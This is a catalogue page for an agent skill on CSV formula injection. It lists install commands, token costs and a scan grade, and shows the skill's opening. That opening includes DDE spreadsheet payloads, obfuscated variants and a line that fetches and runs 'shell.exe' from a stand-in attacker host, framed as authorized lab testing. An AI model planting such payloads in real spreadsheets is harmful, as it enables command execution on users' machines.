csv-formula-injection

csv-formula-injection is a skill for Claude Code, Codex from JustineDevs/premortem. It costs 41 tokens per session (1,151 once invoked), scanned A, a copy of csv-formula-injection, Apache-2.0.

A security guide for formula injection in CSV files and spreadsheets. It explains how values beginning with characters such as =, +, -, or @ may be interpreted as formulas by spreadsheet programs, along with safe testing methods.

In plain words
What is it for?
Use it when reviewing CSV exports, imports, reports, or user-controlled fields that will be opened in spreadsheet software, with testing limited to explicitly authorized environments.
Why use it?
It helps prevent exported user data from becoming executable spreadsheet content when opened in Excel, LibreOffice Calc, Google Sheets, or similar tools.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: installed under .agents/ (shared by several agents).

Good fit Use it when reviewing CSV exports, imports, reports, or user-controlled fields that will be opened in spreadsheet software, with testing limited to explicitly authorized environments.

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Install with agentmods
npx agentmods add skills/justinedevs/premortem/csv-formula-injection
Install

Getting it into your agent

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Any agent
npx skills add JustineDevs/premortem --skill csv-formula-injection
Clone the repo
git clone --depth 1 https://github.com/JustineDevs/premortem

Made for: Claude Code, Codex.

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Per session 41 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,151 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00041 $0.01151
Opus 5 $0.00020 $0.00575
Sonnet 5 $0.00008 $0.00230
Haiku 4.5 $0.00004 $0.00115

Measured 8d ago against content hash f1218bcfcf19, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

csv-formula-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
Origin

This is a copy

100% identical to csv-formula-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

.agents/skills/csv-formula-injection/SKILL.md · 145 lines

How it starts

The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: CSV Formula Injection

AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

=
+
-
@

Test cells may look like:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.


1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:

DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'

PowerShell-style chaining (lab only; replace host and payload with benign equivalents):

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

2. OBFUSCATION

Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):

AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

Extra whitespace after =:

=         cmd|'/c calc.exe'!A

Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):

=    C    m D    |'/c calc.exe'!A

rundll32 style:

=rundll32|'URL.dll,OpenURL calc.exe'!A

3. GOOGLE SHEETS

If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:

Read the full file on GitHub · 145 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 145 lines · 41 tokens per session scan A f1218bcfcf19

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csv-formula-injection is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 41 tokens to every session and 1,151 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to csv-formula-injection, differing in 0 lines, and is treated as a copy.

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